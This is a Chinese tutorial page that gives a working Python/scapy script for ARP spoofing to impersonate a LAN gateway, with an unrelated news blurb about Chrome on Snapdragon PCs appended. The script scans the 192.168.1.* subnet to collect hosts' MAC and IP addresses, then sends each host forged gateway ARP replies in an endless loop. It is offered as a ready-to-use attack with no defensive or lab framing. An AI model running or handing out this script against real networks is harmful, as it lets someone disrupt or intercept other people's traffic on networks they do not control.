python使用arp欺骗伪造网关的方法

(编辑:jimmy 日期: 2024/10/3 浏览:2)

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

一句话新闻
高通与谷歌联手!首款骁龙PC优化Chrome浏览器发布
高通和谷歌日前宣布,推出首次面向搭载骁龙的Windows PC的优化版Chrome浏览器。
在对骁龙X Elite参考设计的初步测试中,全新的Chrome浏览器在Speedometer 2.1基准测试中实现了显著的性能提升。
预计在2024年年中之前,搭载骁龙X Elite计算平台的PC将面世。该浏览器的提前问世,有助于骁龙PC问世就获得满血表现。
谷歌高级副总裁Hiroshi Lockheimer表示,此次与高通的合作将有助于确保Chrome用户在当前ARM兼容的PC上获得最佳的浏览体验。